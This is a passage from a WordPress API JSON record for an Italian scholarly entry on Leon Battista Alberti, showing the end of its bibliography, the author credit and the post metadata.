Lo studio di Roma negli scritti albertiani, in Convegno internazionale indetto nel V centenario di Leon Battista Alberti, Roma-Mantova-Firenze, 25-29 aprile 1972, Roma, Accademia Nazionale dei Lincei, Quaderno n. 209, Roma, 1974; <br \/>\r\nVasari, Le vite de\u2019 pi\u00f9 eccellenti pittori scultori e architettori nelle redazioni del 1550 e 1568, testo a cura di Bettarini R., commento secolare a cura di Barocchi P., 6 voll., Firenze, Sansoni [poi SPES], 1966-1987;<br \/>\r\nWinterberg C., Albertis technische Schriften, in \u201cRepertorium fur Kunstwisswnschaft\u201c, VI, 1886, pp 326-356.<br \/>\r\n<\/p>\n<p>Rimandi ad altre schede: <\/p>\n<p>Autore della scheda: Andrea Cantile<\/p>\n","protected":false},"excerpt":{"rendered":"<p>N. M. Relazioni di parentela: Ente\/istituzione di appartenenza: Qualifica: Biografia: Produzione scientifica: Produzione di cartografia manoscritta: Produzione di cartografia a stampa: Fonti d’archivio: Bibliografia: Rimandi ad altre schede: Autore della scheda:<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[4,94,76],"acf":[],"_links":{"self":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/22"}],"collection":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/comments?post=22"}],"version-history":[{"count":3,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/22\/revisions"}],"predecessor-version":[{"id":2272,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/posts\/22\/revisions\/2272"}],"wp:attachment":[{"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/media?parent=22"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/categories?post=22"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.digitaldisci.it\/wp-json\/wp\/v2\/tags?post=22"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}